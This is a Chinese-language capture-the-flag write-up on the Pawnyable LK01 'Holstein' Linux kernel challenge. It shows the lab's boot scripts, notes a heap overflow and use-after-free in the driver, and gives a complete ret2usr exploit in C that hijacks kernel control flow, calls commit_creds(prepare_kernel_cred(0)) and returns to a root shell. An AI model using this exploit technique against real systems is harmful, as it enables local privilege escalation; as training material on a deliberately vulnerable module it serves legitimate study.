每周一pwn系列

LK01

基本信息

  • run.sh

    #!/bin/sh
    qemu-system-x86_64 \
        -m 64M \
        -nographic \
        -kernel bzImage \
        -append "console=ttyS0 loglevel=3 oops=panic panic=-1 nopti nokaslr" \
        -no-reboot \
        -cpu qemu64 \
        -smp 1 \
        -monitor /dev/null \
        -initrd rootfs.cpio \
        -net nic,model=virtio \
        -net user

    没开 kaslr

  • init

    #!/bin/sh
    
    ##
    ## Setup
    ##
    mdev -s
    mount -t proc none /proc
    mkdir -p /dev/pts
    mount -vt devpts -o gid=4,mode=620 none /dev/pts
    chmod 666 /dev/ptmx
    stty -opost
    echo 2 > /proc/sys/kernel/kptr_restrict
    #echo 1 > /proc/sys/kernel/dmesg_restrict
    
    ##
    ## Install driver
    ##
    insmod /root/vuln.ko
    mknod -m 666 /dev/holstein c `grep holstein /proc/devices | awk '{print $1;}'` 0
    
    ##
    ## User shell
    ##
    echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
    echo "[ Holstein v1 (LK01) - Pawnyable ]"
    setsid cttyhack setuidgid 1337 sh
    
    ##
    ## Cleanup
    ##
    umount /proc
    poweroff -d 0 -f

    加载了一个LKM /root/vuln.ko

为了方便把 kptr_restrict 注释掉

逆向分析

  • module_initialize
    初始化了一个字符设备 “holstein”

  • module_open
    分配了一个 0x400 的内存块

  • module_read

  • module_write

  • module_close

    这里其实还存在一个UAF

  • module_cleanup

漏洞利用

很明显,对内核空间的读写没有作任何限制,也没有任何保护

先测溢出点

int main(int argc, char *argv[], char *envp[]){
	saveStatus();
	int fd = open("/dev/holstein", O_RDWR);
	if (fd<0) errExit("DEV Opened Failed!");
	char buf[0x420]={0};
	*(size_t *)&buf[0x408]=0xdeadbeef;
	write(fd, buf, sizeof(buf)); // 0x000000000000020E
	return 0;
}

EXP

Ret2usr

#define _GNU_SOURCE 
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sched.h>

size_t koff;
size_t commit_creds_addr=0xffffffff8106e390;
size_t prepare_kernel_cred_addr=0xffffffff8106e240;
size_t init_cred=0xffffffff81e33500;
size_t swapgs_restore_regs_and_return_to_usermode_addr=0xffffffff81800e10;

/*
user_cs;
user_rflags;
user_sp;
user_ss;
*/
size_t user_cs,user_ss,user_rsp,user_rflags;
static void saveStatus(){
	asm volatile(
		"mov %0,cs;"
		"mov %1,ss;"
		"mov %2,rsp;"
		"pushf;"		
		"pop %3;"	    
		: "=r"(user_cs), "=r"(user_ss), "=r"(user_rsp), "=r"(user_rflags) 
		:			
	);
	puts("[*] Success to saveStatus!");
}

static void errExit(char * msg){
    printf("\033[1;31m[x] Error: %s\033[0m\n", msg);
    exit(EXIT_FAILURE);
}

/* to run the exp on the specific core only */
void bindCore(int core)
{
    cpu_set_t cpu_set;
	puts("[*] set cpu affinity");
    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
}

static void getRootShell(void){
	if (!getuid()){
		puts("\033[1;31;37m[*] <Successfully Get Root Privileges>\033[0m");
		system("/bin/sh");
	}
	else{
		puts("\033[1;31m[x] <Get Root Failed>\033[0m");
	}
}

int getRootPrivilige(void)
{
    void * (*prepare_kernel_cred)(void *) = (void *)prepare_kernel_cred_addr;
    void (*commit_creds)(void *) = (void *)commit_creds_addr;
    (*commit_creds)((*prepare_kernel_cred)(NULL));
}

void pwn(void){
	getRootPrivilige();
	asm volatile(
		"swapgs;"
		"push %0;"
		"push %1;"
		"push %2;"
		"push %3;"
		"push %4;"
		"iretq;"
		:
		:"r"(user_ss), "r"(user_rsp), "r"(user_rflags), "r"(user_cs), "r"(getRootShell)
		:"memory"
	);
}

int main(int argc, char *argv[], char *envp[]){
	saveStatus();
	int fd = open("/dev/holstein", O_RDWR);
	if (fd<0) errExit("DEV Opened Failed!");

	char buf[0x420]={0};
	*(size_t *)&buf[0x408]=(size_t)pwn;
	write(fd, buf, sizeof(buf)); // 0x000000000000020E
	return 0;
}

⬆︎TOP